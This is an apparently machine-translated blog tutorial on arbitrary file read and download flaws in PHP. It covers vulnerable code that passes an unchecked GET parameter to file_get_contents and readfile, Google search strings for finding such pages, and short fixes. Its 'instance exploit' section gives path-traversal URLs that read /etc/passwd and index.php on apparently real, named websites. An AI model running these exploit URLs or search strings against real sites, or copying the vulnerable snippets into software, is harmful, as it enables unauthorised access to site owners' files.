Arbitrary file read and download

Source: Internet
Author: User

0x00 Background Introduction

Some website business needs, may provide the file view or the download function, if the user view or the download file does not restrict, can view or download any file, can be the source file, the sensitive file and so on


0x01 file Read

File reads in PHP This can be implemented in many ways, in the Web by default, $filename variables may be user-controllable

<?php$filename = $_get[' F '];echo file_get_contents ($filename);? > #当变量 $filename is not verified, or the verification is not strict, the user can control the variable read arbitrary files, such as/etc/passwd,/config.ini and other files

0X02 two ways to implement file download

1. Direct download:

<a href= "Http://www.xxx.com/xxx.rar" ></a>

2. Add header

<?php$filename = $_get[' F '];header (' content-type:image/gif '); header (' Content-disposition:attachment;filename= '. $filename); header (' Content-length: ' FileSize ($filename)); ReadFile ($filename);? >

When the $filename is not verified, or the calibration is not qualified, the user can control the variable to download arbitrary files, such as/etc/passwd,./index.php, etc., resulting in any file download vulnerability.


0X03 Genesis

There are functions that read the file

The path of the reading file is controlled by the user and is not verified, or the checksum is not strict

All output file contents


0x04 Google Serch

Inurl: "readfile.php?file=" inurl: "download.php?file="


0x05 Repair Solution

Filter <.> (point)

Regular judge the user input parameter format, match the input format is qualified

PHP.ini Configuration Open_basedir


0x06 instance Exploit

(For testing only, do not destroy)

Address:

Url:http://hypnet.org.uk/shared/readfile.php?file=mental_health_audit_2014_06_15_130552.ppt

Exploit:

http://hypnet.org.uk/shared/readfile.php?file=../../../../../../../../../../etc/passwd

Address:

Url:http://storiedifarina.it/readfile.php?file=pdf/storiedifarina.pdf

Exploit exploits

http://www.wodehouse.se/upload/readfile.php?file=../index.php


This article is from the "Creative Pilgrim" blog, so be sure to keep this source http://dearch.blog.51cto.com/10423918/1836973

Arbitrary file read and download

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.